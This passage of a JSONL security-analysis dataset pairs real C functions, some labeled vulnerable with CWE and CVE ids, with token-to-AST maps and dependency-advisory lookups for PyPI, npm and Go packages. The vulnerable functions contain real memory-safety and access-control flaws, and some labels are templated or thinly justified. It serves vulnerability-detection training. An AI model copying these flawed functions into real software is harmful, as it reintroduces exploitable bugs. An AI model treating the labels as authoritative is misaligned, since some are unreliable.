BTIF_TRACE_EVENT(\"UIPC_Read : read failed (%s)\", strerror(errno));\n return 0;\n }\n\n n_read+=n;\n\n }\n\n return n_read;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-284\",\n \"cwe_name\": \"Improper Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-3839\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 30,\n 47\n ],\n \"sink_node_type\": \"while_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"while_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"while\",\n \"ast_node\": \"while\",\n \"line\": 22,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 22,\n \"col\": 7\n },\n {\n \"token\": \"n_read\",\n \"ast_node\": \"identifier\",\n \"line\": 22,\n \"col\": 8\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 22,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 22,\n \"col\": 17\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 22,\n \"col\": 18\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 22,\n \"col\": 21\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"identifier\",\n \"line\": 22,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 22,\n \"col\": 25\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 23,\n \"col\": 1\n },\n {\n \"token\": \"pfd\",\n \"ast_node\": \"identifier\",\n \"line\": 24,\n \"col\": 8\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 24,\n \"col\": 11\n },\n {\n \"token\": \"fd\",\n \"ast_node\": \"field_identifier\",\n \"line\": 24,\n \"col\": 12\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 24,\n \"col\": 15\n },\n {\n \"token\": \"fd\",\n \"ast_node\": \"identifier\",\n \"line\": 24,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 24,\n \"col\": 19\n },\n {\n \"token\": \"pfd\",\n \"ast_node\": \"identifier\",\n \"line\": 25,\n \"col\": 8\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 25,\n \"col\": 11\n },\n {\n \"token\": \"events\",\n \"ast_node\": \"field_identifier\",\n \"line\": 25,\n \"col\": 12\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 25,\n \"col\": 19\n },\n {\n \"token\": \"POLLIN\",\n \"ast_node\": \"identifier\",\n \"line\": 25,\n \"col\": 21\n },\n {\n \"token\": \"|\",\n \"ast_node\": \"|\",\n \"line\": 25,\n \"col\": 27\n },\n {\n \"token\": \"POLLHUP\",\n \"ast_node\": \"identifier\",\n \"line\": 25,\n \"col\": 28\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 25,\n \"col\": 35\n },\n {\n \"token\": \"/* make sure there is data prior to attempting read to avoid blocking\\n a read for more than poll timeout */\",\n \"ast_node\": \"comment\",\n \"line\": 28,\n \"col\": 9\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 30,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 30,\n \"col\": 11\n },\n {\n \"token\": \"poll\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 30,\n \"col\": 16\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 30,\n \"col\": 17\n },\n {\n \"token\": \"pfd\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 18\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 30,\n \"col\": 21\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 30,\n \"col\": 23\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 30,\n \"col\": 24\n },\n {\n \"token\": \"uipc_main\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 26\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 30,\n \"col\": 35\n },\n {\n \"token\": \"ch\",\n \"ast_node\": \"field_identifier\",\n \"line\": 30,\n \"col\": 36\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 30,\n \"col\": 38\n },\n {\n \"token\": \"ch_id\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 39\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 30,\n \"col\": 44\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 30,\n \"col\": 45\n },\n {\n \"token\": \"read_poll_tmo_ms\",\n \"ast_node\": \"field_identifier\",\n \"line\": 30,\n \"col\": 46\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 30,\n \"col\": 62\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 30,\n \"col\": 64\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 30,\n \"col\": 67\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 30,\n \"col\": 68\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 31,\n \"col\": 9\n },\n {\n \"token\": \"BTIF_TRACE_EVENT\",\n \"ast_node\": \"identifier\",\n \"line\": 32,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 32,\n \"col\": 29\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 32,\n \"col\": 30\n },\n {\n \"token\": \"poll timeout (%d ms)\",\n \"ast_node\": \"string_content\",\n \"line\": 32,\n \"col\": 31\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 32,\n \"col\": 51\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 32,\n \"col\": 52\n },\n {\n \"token\": \"uipc_main\",\n \"ast_node\": \"identifier\",\n \"line\": 32,\n \"col\": 54\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 32,\n \"col\": 63\n },\n {\n \"token\": \"ch\",\n \"ast_node\": \"field_identifier\",\n \"line\": 32,\n \"col\": 64\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 32,\n \"col\": 66\n },\n {\n \"token\": \"ch_id\",\n \"ast_node\": \"identifier\",\n \"line\": 32,\n \"col\": 67\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 32,\n \"col\": 72\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 32,\n \"col\": 73\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-20", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: tensorflow\nInstalled version: <2.7.2\nSummary: TensorFlow vulnerable to segfault in `SparseBincount`", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-397c-5g2j-qxpv\",\n \"cve\": \"CVE-2022-35982\",\n \"aliases\": [\n \"BIT-tensorflow-2022-35982\",\n \"CVE-2022-35982\",\n \"PYSEC-2026-3093\",\n \"PYSEC-2026-3270\",\n \"PYSEC-2026-947\"\n ],\n \"cwe\": \"CWE-20\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"tensorflow\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <2.7.2\",\n \"fixed_version\": \"2.7.2\",\n \"finding\": \"TensorFlow vulnerable to segfault in `SparseBincount`\",\n \"remediation\": \"Upgrade tensorflow to 2.7.2 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int yr_re_fast_exec(\n uint8_t* code,\n uint8_t* input_data,\n size_t input_forwards_size,\n size_t input_backwards_size,\n int flags,\n RE_MATCH_CALLBACK_FUNC callback,\n void* callback_args,\n int* matches)\n{\n RE_REPEAT_ANY_ARGS* repeat_any_args;\n\n uint8_t* code_stack[MAX_FAST_RE_STACK];\n uint8_t* input_stack[MAX_FAST_RE_STACK];\n int matches_stack[MAX_FAST_RE_STACK];\n\n uint8_t* ip = code;\n uint8_t* input = input_data;\n uint8_t* next_input;\n uint8_t* next_opcode;\n uint8_t mask;\n uint8_t value;\n\n int i;\n int stop;\n int input_incr;\n int sp = 0;\n int bytes_matched;\n int max_bytes_matched;\n\n max_bytes_matched = flags & RE_FLAGS_BACKWARDS ?\n (int) input_backwards_size :\n (int) input_forwards_size;\n\n input_incr = flags & RE_FLAGS_BACKWARDS ? -1 : 1;\n\n if (flags & RE_FLAGS_BACKWARDS)\n input--;\n\n code_stack[sp] = code;\n input_stack[sp] = input;\n matches_stack[sp] = 0;\n sp++;\n\n while (sp > 0)\n {\n sp--;\n ip = code_stack[sp];\n input = input_stack[sp];\n bytes_matched = matches_stack[sp];\n stop = FALSE;\n\n while(!stop)\n {\n if (*ip == RE_OPCODE_MATCH)\n {\n if (flags & RE_FLAGS_EXHAUSTIVE)\n {\n FAIL_ON_ERROR(callback(\n flags & RE_FLAGS_BACKWARDS ? input + 1 : input_data,\n bytes_matched,\n flags,\n callback_args));\n\n break;\n }\n else\n {\n if (matches != NULL)\n *matches = bytes_matched;\n\n return ERROR_SUCCESS;\n }\n }\n\n if (bytes_matched >= max_bytes_matched)\n break;\n\n switch(*ip)\n {\n case RE_OPCODE_LITERAL:\n\n if (*input == *(ip + 1))\n {\n bytes_matched++;\n input += input_incr;\n ip += 2;\n }\n else\n {\n stop = TRUE;\n }\n\n break;\n\n case RE_OPCODE_MASKED_LITERAL:\n\n value = *(int16_t*)(ip + 1) & 0xFF;\n mask = *(int16_t*)(ip + 1) >> 8;\n\n if ((*input & mask) == value)\n {\n bytes_matched++;\n input += input_incr;\n ip += 3;\n }\n else\n {\n stop = TRUE;\n }\n\n break;\n\n case RE_OPCODE_ANY:\n\n bytes_matched++;\n input += input_incr;\n ip += 1;\n\n break;\n\n case RE_OPCODE_REPEAT_ANY_UNGREEDY:\n\n repeat_any_args = (RE_REPEAT_ANY_ARGS*)(ip + 1);\n next_opcode = ip + 1 + sizeof(RE_REPEAT_ANY_ARGS);\n \n for (i = repeat_any_args->min + 1; i <= repeat_any_args->max; i++)\n {\n next_input = input + i * input_incr;\n if (bytes_matched + i >= max_bytes_matched)\n break;\n \n if ( *(next_opcode) != RE_OPCODE_LITERAL ||\n (*(next_opcode) == RE_OPCODE_LITERAL &&\n *(next_opcode + 1) == *next_input))\n {\n if (sp >= MAX_FAST_RE_STACK)\n return -4;\n\n code_stack[sp] = next_opcode;\n input_stack[sp] = next_input;\n matches_stack[sp] = bytes_matched + i;\n sp++;\n }\n }\n \n input += input_incr * repeat_any_args->min;\n bytes_matched += repeat_any_args->min;\n ip = next_opcode;\n \n break;\n\n default:\n assert(FALSE);\n }\n }\n }\n\n if (matches != NULL)\n *matches = -1;\n\n return ERROR_SUCCESS;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-9465\",\n \"project\": \"yara\",\n \"vulnerable_lines\": [\n 129\n ],\n \"sink_node_type\": \"for_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"while_statement\",\n \"compound_statement\",\n \"while_statement\",\n \"compound_statement\",\n \"switch_statement\",\n \"compound_statement\",\n \"case_statement\",\n \"for_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"for\",\n \"ast_node\": \"for\",\n \"line\": 127,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 127,\n \"col\": 15\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 127,\n \"col\": 16\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 127,\n \"col\": 18\n },\n {\n \"token\": \"repeat_any_args\",\n \"ast_node\": \"identifier\",\n \"line\": 127,\n \"col\": 20\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 127,\n \"col\": 35\n },\n {\n \"token\": \"min\",\n \"ast_node\": \"field_identifier\",\n \"line\": 127,\n \"col\": 37\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 127,\n \"col\": 41\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 127,\n \"col\": 43\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 127,\n \"col\": 44\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 127,\n \"col\": 46\n },\n {\n \"token\": \"<=\",\n \"ast_node\": \"<=\",\n \"line\": 127,\n \"col\": 48\n },\n {\n \"token\": \"repeat_any_args\",\n \"ast_node\": \"identifier\",\n \"line\": 127,\n \"col\": 51\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 127,\n \"col\": 66\n },\n {\n \"token\": \"max\",\n \"ast_node\": \"field_identifier\",\n \"line\": 127,\n \"col\": 68\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 127,\n \"col\": 71\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 127,\n \"col\": 73\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 127,\n \"col\": 74\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 127,\n \"col\": 76\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 128,\n \"col\": 11\n },\n {\n \"token\": \"next_input\",\n \"ast_node\": \"identifier\",\n \"line\": 129,\n \"col\": 12\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 129,\n \"col\": 23\n },\n {\n \"token\": \"input\",\n \"ast_node\": \"identifier\",\n \"line\": 129,\n \"col\": 25\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 129,\n \"col\": 31\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 129,\n \"col\": 33\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 129,\n \"col\": 35\n },\n {\n \"token\": \"input_incr\",\n \"ast_node\": \"identifier\",\n \"line\": 129,\n \"col\": 37\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 129,\n \"col\": 47\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 130,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 130,\n \"col\": 16\n },\n {\n \"token\": \"bytes_matched\",\n \"ast_node\": \"identifier\",\n \"line\": 130,\n \"col\": 17\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 130,\n \"col\": 31\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 130,\n \"col\": 33\n },\n {\n \"token\": \">=\",\n \"ast_node\": \">=\",\n \"line\": 130,\n \"col\": 35\n },\n {\n \"token\": \"max_bytes_matched\",\n \"ast_node\": \"identifier\",\n \"line\": 130,\n \"col\": 38\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 130,\n \"col\": 55\n },\n {\n \"token\": \"break\",\n \"ast_node\": \"break\",\n \"line\": 131,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 131,\n \"col\": 20\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 133,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 133,\n \"col\": 16\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 133,\n \"col\": 18\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 133,\n \"col\": 19\n },\n {\n \"token\": \"next_opcode\",\n \"ast_node\": \"identifier\",\n \"line\": 133,\n \"col\": 20\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 133,\n \"col\": 31\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 133,\n \"col\": 33\n },\n {\n \"token\": \"RE_OPCODE_LITERAL\",\n \"ast_node\": \"identifier\",\n \"line\": 133,\n \"col\": 36\n },\n {\n \"token\": \"||\",\n \"ast_node\": \"||\",\n \"line\": 133,\n \"col\": 54\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 134,\n \"col\": 17\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 134,\n \"col\": 18\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 134,\n \"col\": 19\n },\n {\n \"token\": \"next_opcode\",\n \"ast_node\": \"identifier\",\n \"line\": 134,\n \"col\": 20\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 134,\n \"col\": 31\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 134,\n \"col\": 33\n },\n {\n \"token\": \"RE_OPCODE_LITERAL\",\n \"ast_node\": \"identifier\",\n \"line\": 134,\n \"col\": 36\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 134,\n \"col\": 54\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 135,\n \"col\": 18\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 135,\n \"col\": 19\n },\n {\n \"token\": \"next_opcode\",\n \"ast_node\": \"identifier\",\n \"line\": 135,\n \"col\": 20\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 135,\n \"col\": 32\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 135,\n \"col\": 34\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-476", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int ber_skip_integer(UINT32 value)\n{\n\tif (value <= 0xFF)\n\t{\n\t\treturn _ber_skip_length(1) + 2;\n\t}\n\telse if (value <= 0xFFFF)\n\t{\n\t\treturn _ber_skip_length(2) + 3;\n\t}\n\telse if (value <= 0xFFFFFFFF)\n\t{\n\t\treturn _ber_skip_length(4) + 5;\n\t}\n\n\treturn 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"severity\": \"high\",\n \"project\": \"FreeRDP\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "struct file *shmem_file_setup(char *name, loff_t size, unsigned long flags)\n{\n\tint error;\n\tstruct file *file;\n\tstruct inode *inode;\n\tstruct dentry *dentry, *root;\n\tstruct qstr this;\n\n\tif (IS_ERR(shm_mnt))\n\t\treturn (void *)shm_mnt;\n\n\tif (size < 0 || size > SHMEM_MAX_BYTES)\n\t\treturn ERR_PTR(-EINVAL);\n\n\tif (shmem_acct_size(flags, size))\n\t\treturn ERR_PTR(-ENOMEM);\n\n\terror = -ENOMEM;\n\tthis.name = name;\n\tthis.len = strlen(name);\n\tthis.hash = 0; /* will go */\n\troot = shm_mnt->mnt_root;\n\tdentry = d_alloc(root, &this);\n\tif (!dentry)\n\t\tgoto put_memory;\n\n\terror = -ENFILE;\n\tfile = get_empty_filp();\n\tif (!file)\n\t\tgoto put_dentry;\n\n\terror = -ENOSPC;\n\tinode = shmem_get_inode(root->d_sb, S_IFREG | S_IRWXUGO, 0);\n\tif (!inode)\n\t\tgoto close_file;\n\n\tSHMEM_I(inode)->flags = flags & VM_ACCOUNT;\n\td_instantiate(dentry, inode);\n\tinode->i_size = size;\n\tinode->i_nlink = 0;\t/* It is unlinked */\n\tinit_file(file, shm_mnt, dentry, FMODE_WRITE | FMODE_READ,\n\t\t\t&shmem_file_operations);\n\treturn file;\n\nclose_file:\n\tput_filp(file);\nput_dentry:\n\tdput(dentry);\nput_memory:\n\tshmem_unacct_size(flags, size);\n\treturn ERR_PTR(error);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-78", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: @nocobase/plugin-backups\nInstalled version: <2.1.19\nSummary: NocoBase backup restore schema name allows command injection", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-p853-83gj-wjj3\",\n \"cve\": \"CVE-2026-55410\",\n \"aliases\": [\n \"CVE-2026-55410\"\n ],\n \"cwe\": \"CWE-78\",\n \"ecosystem\": \"npm\",\n \"package\": \"@nocobase/plugin-backups\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <2.1.19\",\n \"fixed_version\": \"2.1.19\",\n \"finding\": \"NocoBase backup restore schema name allows command injection\",\n \"remediation\": \"Upgrade @nocobase/plugin-backups to 2.1.19 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: iobroker.admin\nInstalled version: 3.6.12\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"iobroker.admin\",\n \"installed_version\": \"3.6.12\",\n \"note\": \"iobroker.admin 3.6.12 is at or above the fixed version for GHSA-54xj-q58h-9x57; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/stacklok/minder\nInstalled version: <0.0.33\nSummary: Minder access control bypass in github.com/stacklok/minder", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2024-2608\",\n \"cve\": \"CVE-2024-27916\",\n \"aliases\": [\n \"CVE-2024-27916\",\n \"GHSA-v627-69v2-xx37\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/stacklok/minder\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <0.0.33\",\n \"fixed_version\": \"0.0.33\",\n \"finding\": \"Minder access control bypass in github.com/stacklok/minder\",\n \"remediation\": \"Upgrade github.com/stacklok/minder to 0.0.33 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int pwc_video_close(struct inode *inode, struct file *file)\n{\n\tstruct video_device *vdev = file->private_data;\n\tstruct pwc_device *pdev;\n\tint i, hint;\n\n\tPWC_DEBUG_OPEN(\">> video_close called(vdev = 0x%p).\\n\", vdev);\n\n\tpdev = (struct pwc_device *)vdev->priv;\n\tif (pdev->vopen == 0)\n\t\tPWC_DEBUG_MODULE(\"video_close() called on closed device?\\n\");\n\n\t/* Dump statistics, but only if a reasonable amount of frames were\n\t processed (to prevent endless log-entries in case of snap-shot\n\t programs)\n\t */\n\tif (pdev->vframe_count > 20)\n\t\tPWC_DEBUG_MODULE(\"Closing video device: %d frames received, dumped %d frames, %d frames with errors.\\n\", pdev->vframe_count, pdev->vframes_dumped, pdev->vframes_error);\n\n\tif (DEVICE_USE_CODEC1(pdev->type))\n\t pwc_dec1_exit();\n\telse\n\t pwc_dec23_exit();\n\n\tpwc_isoc_cleanup(pdev);\n\tpwc_free_buffers(pdev);\n\n\tlock_kernel();\n\t/* Turn off LEDS and power down camera, but only when not unplugged */\n\tif (!pdev->unplugged) {\n\t\t/* Turn LEDs off */\n\t\tif (pwc_set_leds(pdev, 0, 0) < 0)\n\t\t\tPWC_DEBUG_MODULE(\"Failed to set LED on/off time.\\n\");\n\t\tif (power_save) {\n\t\t\ti = pwc_camera_power(pdev, 0);\n\t\t\tif (i < 0)\n\t\t\t\tPWC_ERROR(\"Failed to power down camera (%d)\\n\", i);\n\t\t}\n\t\tpdev->vopen--;\n\t\tPWC_DEBUG_OPEN(\"<< video_close() vopen=%d\\n\", i);\n\t} else {\n\t\tpwc_cleanup(pdev);\n\t\t/* Free memory (don't set pdev to 0 just yet) */\n\t\tkfree(pdev);\n\t\t/* search device_hint[] table if we occupy a slot, by any chance */\n\t\tfor (hint = 0; hint < MAX_DEV_HINTS; hint++)\n\t\t\tif (device_hint[hint].pdev == pdev)\n\t\t\t\tdevice_hint[hint].pdev = NULL;\n\t}\n\tunlock_kernel();\n\n\treturn 0;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int verify_ca(const gnutls_datum_t *raw_crt, unsigned raw_crt_size,\n\t\t\t\t\t gnutls_certificate_type_t crt_type,\n\t\t\t\t\t dane_cert_type_t ctype,\n\t\t\t\t\t dane_match_type_t match, gnutls_datum_t * data,\n\t\t\t\t\t unsigned int *verify)\n{\ngnutls_datum_t pubkey = {NULL, 0};\nint ret;\nunsigned int vstatus;\ngnutls_x509_crt_t crt = NULL, ca = NULL;\n\n\tif (raw_crt_size < 2)\n\t\treturn gnutls_assert_val(DANE_E_INVALID_REQUEST);\n\n\tif (ctype == DANE_CERT_X509 && crt_type == GNUTLS_CRT_X509) {\n\t\n\t\tif (!matches(&raw_crt[1], data, match)) {\n\t\t gnutls_assert();\n\t\t\t*verify |= DANE_VERIFY_CA_CONSTRAINTS_VIOLATED;\n }\n\n\t} else if (ctype == DANE_CERT_PK && crt_type == GNUTLS_CRT_X509) {\n\t\tret = crt_to_pubkey(&raw_crt[1], &pubkey);\n\t\tif (ret < 0) {\n \t gnutls_assert();\n\t\t\tgoto cleanup;\n }\n\n\t\tif (!matches(&pubkey, data, match)) {\n gnutls_assert();\n\t\t\t*verify |= DANE_VERIFY_CA_CONSTRAINTS_VIOLATED;\n }\n\t} else {\n\t\tret = gnutls_assert_val(DANE_E_UNKNOWN_DANE_DATA);\n\t\tgoto cleanup;\n\t}\n\t\n\t/* check if the certificate chain is actually a chain */\n\tret = gnutls_x509_crt_init(&crt);\n \tif (ret < 0) {\n \t \tret = gnutls_assert_val(DANE_E_CERT_ERROR);\n \t \tgoto cleanup;\n\t}\n\n\tret = gnutls_x509_crt_init(&ca);\n \tif (ret < 0) {\n \t \tret = gnutls_assert_val(DANE_E_CERT_ERROR);\n \t \tgoto cleanup;\n\t}\n\n\tret = gnutls_x509_crt_import(crt, &raw_crt[0], GNUTLS_X509_FMT_DER);\n \tif (ret < 0) {\n \t \tret = gnutls_assert_val(DANE_E_CERT_ERROR);\n \t \tgoto cleanup;\n\t}\n\n\tret = gnutls_x509_crt_import(ca, &raw_crt[1], GNUTLS_X509_FMT_DER);\n \tif (ret < 0) {\n \t \tret = gnutls_assert_val(DANE_E_CERT_ERROR);\n \t \tgoto cleanup;\n\t}\n\t \n\tret = gnutls_x509_crt_check_issuer(crt, ca);\n\tif (ret == 0) {\n\t\tgnutls_assert();\n\t\t*verify |= DANE_VERIFY_CA_CONSTRAINTS_VIOLATED;\n\t}\n\n\tret = gnutls_x509_crt_verify(crt, &ca, 1, 0, &vstatus);\n\tif (ret < 0) {\n \t \tret = 